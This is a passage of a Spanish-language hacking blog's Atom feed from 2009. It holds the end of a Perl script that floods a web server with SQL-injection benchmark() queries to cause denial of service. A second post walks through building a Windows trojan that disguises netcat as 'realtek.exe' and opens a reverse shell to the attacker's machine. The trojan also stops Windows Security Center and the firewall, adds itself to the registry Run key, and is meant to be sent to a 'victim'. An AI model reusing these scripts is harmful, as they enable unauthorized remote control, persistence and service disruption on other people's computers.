style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;$host=$ARGV[0];&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;$path=$ARGV[1];&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;       &lt;/span&gt;#$injeccion="+and+(select+count(*)+from+information_schema.columns,      &lt;span style=""&gt;   &lt;/span&gt;+information_schema.columns+T1,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;  &lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;                     &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;+information_schema.tables+T2)" ;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;ol style="margin-top: 0cm;" start="14" type="1"&gt;&lt;li class="MsoNormal" style="font-weight: bold;"&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;$injeccion="+and      benchmark(99999999999999,md5(0x6b616f78))";&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="font-weight: bold;"&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;for($i = 1; $i &lt; $ARGV[2] ; $i++) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="font-weight: bold;"&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;$pid = &lt;/span&gt;&lt;a href="http://perldoc.perl.org/functions/fork.html"&gt;&lt;span style="" lang="EN-US"&gt;fork&lt;/span&gt;&lt;/a&gt;&lt;span style="" lang="EN-US"&gt;(); &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="font-weight: bold;"&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;$socket = new IO::Socket::INET(&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="font-weight: bold;"&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;PeerAddr =&gt; $host,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="font-weight: bold;"&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;PeerPort =&gt; 'http(80)',&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="font-weight: bold;"&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;Proto =&gt; 'tcp') || &lt;a href="http://perldoc.perl.org/functions/die.html"&gt;die&lt;/a&gt; "[-] No se      ha podido conectar a $host";&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="font-weight: bold;"&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;a href="http://perldoc.perl.org/functions/print.html"&gt;&lt;span style="" lang="EN-US"&gt;print&lt;/span&gt;&lt;/a&gt;&lt;span style="" lang="EN-US"&gt; $socket "GET "      .$path.$injeccion. " HTTP/1.0\r\n";&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="font-weight: bold;"&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;a href="http://perldoc.perl.org/functions/print.html"&gt;&lt;span style="" lang="EN-US"&gt;print&lt;/span&gt;&lt;/a&gt;&lt;span style="" lang="EN-US"&gt; $socket "HOST:$host\r\n";&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="font-weight: bold;"&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;a href="http://perldoc.perl.org/functions/print.html"&gt;&lt;span style="" lang="EN-US"&gt;print&lt;/span&gt;&lt;/a&gt;&lt;span style="" lang="EN-US"&gt; $socket "\n\n";&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style="font-weight: bold;"&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;a href="http://perldoc.perl.org/functions/print.html"&gt;print&lt;/a&gt;      "*";&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-weight: bold;font-family:Symbol;" &gt;·&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;  &lt;/span&gt;&lt;b style="font-weight: bold;"&gt;}&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;nota: La linea 13 esta comentada, si quieren provocar el delay con la tecnica "Blind Heavy Query" descomentenla y comenten la  linea 14 que es usando la funcion Benchmark.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Dejo el link de otro mismo script pero hecho en php por OzX . &lt;a href="http://paste2.org/p/417460"&gt;Link&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-1167330708724689313?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/1167330708724689313/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/09/dos-por-sqli.html#comment-form' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/1167330708724689313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/1167330708724689313'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/09/dos-por-sqli.html' title='DoS por SQLi'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-6894301931916557297</id><published>2009-09-03T12:05:00.000-07:00</published><updated>2009-09-07T10:08:55.080-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Troyano'/><title type='text'>Reverse shell netcat with batch</title><content type='html'>Buenas, Me decidi crear un Blog ahora que estoy por mis pagos (Goya Corrientes), y no tenia nada que hacer :)..&lt;br /&gt;Bueno en el ultimo &lt;a href="http://www.securityhackingnea.com.ar/"&gt;Security Hacking NEA 4&lt;/a&gt;, se hablo de Reverse Shell por &lt;a href="http://sysnotas.blogspot.com/"&gt;Dardo Valdez (Yaco)&lt;/a&gt;, donde mostro como hacer uno con la herraminta Crypcat, aqui les dejo un tutorial muy bueno de &lt;a href="http://www.jccharry.com/portada/component/content/article/38-documentacion/67-jugando-con-cryptcat-1.html"&gt;WHK&lt;/a&gt;. Esta herramienta es una evolucion del Netcat y es exactamente igual los comandos con la diferencia de que la informacion viaja Encriptada. Pero bueno este tutorial que esta hecho por mi trabajo con Netcat.&lt;br /&gt;¿Y en realidad que es Netcat? Netcat es una herramienta muy completa que es indispensable para cualquier administrador de red, el cual nos permite realizar conexiones TCP y UPD. Es tantas las cosas que podemos hacer con ella, que se tambien la denominan "La Navaja Suiza de los Hackers".&lt;br /&gt;Bueno, entonces nosotros vamos a utilizar la opcion de Netcat que nos permita abrir un conexion reversa de la victima con nosotros.&lt;br /&gt;¿Y que es en realidad una Conexion reversa? pss... Bueno eso explicare ahora mas adelante cuando empecemos a realizar el Script.. :)..&lt;br /&gt;Basta y empecemos.&lt;br /&gt;&lt;br /&gt;1)&lt;br /&gt;&lt;p&gt;Lo que nesesitamos es:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;Netcat (obviamente.. Busquenlo en San Google para descargarlo)&lt;/li&gt;&lt;li&gt;QBFC &lt;a href="http://magnobalt.iespana.es/programas/QBFC"&gt;Descarga desde aca&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Vamos a trabajar con el QBFC, por algunos motivos, primero los script hechos en batch lo va a pasar a  “.exe”, y segundo la mas importate es que nos permite juntar todo nuestros script y darle comandos para que los vaya manejando como queramos. &lt;a href="http://foro.elhacker.net/hacking_basico/manual_joiner_con_quick_batch_file_compiler-t187349.0.html"&gt;Aqui hay un tuto de el&lt;/a&gt;. Aconsejo que lo lean por que voy a obviar su funcionamiento. Y esta muy interesante este programilla.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Ahora empezemos, renombramos el Netcat y le pondremos Win32.exe, abrimos  el QBFC y copiamos el siguiente script en el, Ahora antes de guardarlo nos vamos al Icono &lt;span style="font-weight: bold;"&gt;Options&lt;/span&gt; de QBFC luego en la pestaña &lt;span style="font-weight: bold;"&gt;General&lt;/span&gt; marcamos Ghost Aplicattion, que servira para que no muestre ni un solo pestañeo de nada y no haya desconfianza. (Nuevamente recomiendo ver el tutorial de QBFC el cual muestra con imagenes de como utilizarlo.) , ahora lo guardamos con el nombre de “realtek.exe”,  para ello nos dirijimos al icono donde dice &lt;strong&gt;BUILD&lt;/strong&gt;.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Netcat &gt; Win32.exe&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Scritp_De_abajo &gt; realtek.exe&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;@echo off&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;:recursivo&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;win32.exe -e cmd.exe Tuip 4444&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;goto recursivo&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Bueno entonces que es una Conexion Reversa, pues fijense esta linea &lt;strong&gt;"win32.exe -e cmd.exe Tuip 4444&lt;/strong&gt;", Nosotros que hacemos aca. Primero colocamos el nombre de win32.exe (que es el netcat renombrado por nosotros, para camuflarlo un poco), Ahora aca es la cuestion, le pasamos el comando &lt;span style="font-weight: bold;"&gt;-e &lt;/span&gt;que significa ejecutar, entonces vamos a ejecutar el cmd.exe (la consola de windows) abriendo un tunel hacia nuestra ip en un puerto determinado, que en este caso de ejemplo es el &lt;span style="font-weight: bold;"&gt;4444. &lt;/span&gt;Este puerto estara escuchando en nuestra maquina a esperca de posibles conexion, cuando la victima ejecute este script pedira conexion hacia nosotros, y como nuestra maquina estara escuchando en ese puerto tendremos el cmd.exe de la victima. Entonces la conexion reversa es que la victima (en este caso)&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;em&gt;&lt;/em&gt;, se conecta a nosotros y no nosotros a ella. ¿Ahora y para que sirve esto.? Y bueno imaginemos que hariamos una conexion directa es decir nosotros pedimos conectarnos a la victima. Empiezan los problemas, ¿cuales? primero que nada tendriamo que concoer su &lt;span style="font-weight: bold;"&gt;IP&lt;/span&gt;. y en el caso de saber que pasaria si tiene ip dinamica.. :(. Ahora tambien podemos pasar por alto algunos firewall no tan complejos, ya que muchos solo no restringen conexiones salientes. &lt;/p&gt;&lt;p&gt;2)&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Copiamos el siguiente script,  “det.exe”&lt;/p&gt; &lt;p&gt;&lt;span style="font-style: italic;"&gt;script_siguiente &gt;det.exe&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;@echo off&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;cd &lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;net stop “Centro de Seguridad”&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;net stop “Firewall de Windows/Conexión compartida a Internet (ICS)”&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;reg add hklmsoftwaremicrosoftwindowscurrentversionrun /v realtek /t reg_sz /d %systemroot%realtek.exe /f&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;exit&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Este detendra el firewal de windows para que no tengamos problemas, y agregara el proceso realtek.exe al arrancar windows, para que tengamos  acceso cada vez que prenda la maquina.&lt;/p&gt; &lt;p&gt;No quise hacerlo mas complejo a la detencion del firewall para hacerlo mas simple. Podran agregarle otras caracteristicas mas eficientes con el comando netsh, recomiendo leer.&lt;/p&gt; &lt;p&gt;3)&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Y por ultimo el que manejará la secuencia de las acciones a realizarce. “NCT.exe”( pueden cambiarle el nombre).&lt;/p&gt; &lt;p&gt;&lt;strong&gt;@echo off&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;copy %MYFILES%win32.exe %systemroot%system32&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;copy %MYFILES%det.exe %systemroot%&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;copy %MYFILES%realtek.exe %systemroot%&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;rem borro lo que no utilizaremos mas&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;del %MYFILES%win32.exe&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;del %MYFILES%det.exe&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;del %MYFILES%realtek.exe&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;rem  ejecuto&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;start %systemroot%det.exe&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;start %systemroot%realtek.exe&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;del %systemroot%det.exe&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;exit&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;En este ultimo tienen que insertar los distintos archivos que creamos y el netcat osea el “Win32″ &lt;img src="http://www.insecurity.cl/wp-includes/images/smilies/icon_smile.gif" alt=":-)" class="wp-smiley" /&gt; , con la pestaña &lt;strong&gt;include&lt;/strong&gt; del QBFC. Por ultimo lo mandamos a nuestra victima. Colocamos en nuestra shell el comando &lt;strong&gt;nc -vv -l -p 4444&lt;/strong&gt;, para escuchar el puerto 4444 y estamos dentro.. Obiamente tener el netcat intalado en su maquina. Recomiendo copiar el ejecutable del netcat en System32, para que este en una ruta PATH&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Y con este terminamos. Cualquier duda las pueden colocar y las respondere con mucho gusto..&lt;/p&gt;&lt;p&gt;Saludos..&lt;/p&gt;&lt;p&gt;MagnoBalt&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-6894301931916557297?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/6894301931916557297/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/09/reverse-shell-netcat-with-batch.html#comment-form' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/6894301931916557297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/6894301931916557297'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/09/reverse-shell-netcat-with-batch.html' title='Reverse shell netcat with batch'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><thr:total>4</thr:total></entry></feed>
